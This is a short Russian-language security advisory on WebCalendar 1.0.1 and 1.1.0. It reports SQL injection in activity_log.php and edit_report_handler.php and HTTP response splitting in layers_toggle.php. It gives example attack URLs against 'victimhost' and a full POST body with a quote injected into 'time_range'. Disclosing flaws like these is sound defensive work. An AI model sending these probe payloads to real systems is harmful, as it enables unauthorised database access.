Программа:
WebCalendar 1.0.1
WebCalendar 1.1.0. возможно более ранние версии
Обнаруженные уязвимости позволяют удаленному пользователю произвести HTTP Response Splitting атаку и выполнить произвольные SQL команды в базе данных приложения.
1. SQL-инъекция возможна из-за недостаточной обработки входных данных в параметре "time_range" сценария "edit_report_handler.php" и в параметре started сценария activity_log.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Примеры:
http://victimhost/webcalendar/ activity_log.php?startid=%2527
http://victimhost/webcalendar/ activity_log.php?startid=%27
http://victimhost/webcalendar/ activity_log.php?startid='
Пример HTTP POST запроса:
report_name=Unnamed%20Report&is_global=Y&show_in_trailer= Y&include_header=Y&time_range='&cat_id=1&allow_nav=Y&
include_empty=Y&page_template=%26lt%3Bdl%26gt%3B%24 %7Bdays%7D%26lt%3B%2Fdl%26gt%3B&day_template=
%26lt%3Bdt%26gt%3B%26lt%3Bb%26gt%3B%24%7Bdate%7D %26lt%3B%2Fb%26gt%3B%26lt%3B%2Fdt%26gt%3B%0A
%26lt%3Bdd%26gt%3B%26lt%3Bdl%26gt%3B%24%7Bevents %7D%26lt%3B%2Fdl%26gt%3B%26lt%3B%2Fdd%26gt%3B&
event_template=%26lt%3Bdt%26gt%3B%24%7Bname%7D%26lt %3B%2Fdt%26gt%3B%0A%26lt%3Bdd%26gt%3B%26lt%3Bb
%26gt%3BDate%3A%26lt%3B%2Fb%26gt%3B%20%24%7Bdate %7D%26lt%3Bbr%20%2F%26gt%3B%0A%26lt%3Bb%26gt%3B
Time%3A%26lt%3B%2Fb%26gt%3B%20%24%7Btime%7D%26lt %3Bbr%20%2F%26gt%3B%0A%24%7Bdescription%7D%26lt
%3B%2Fdd%26gt%3B
2. Уязвимость существует при обработке входных данных в параметре "ret" сценария "layers_toggle.php". Удаленный пользователь может произвести HTTP Response Splitting атаку.
Пример:
http://victimhost/webcalendar/layers_toggle.php? status=on&ret=[url_redirect_to]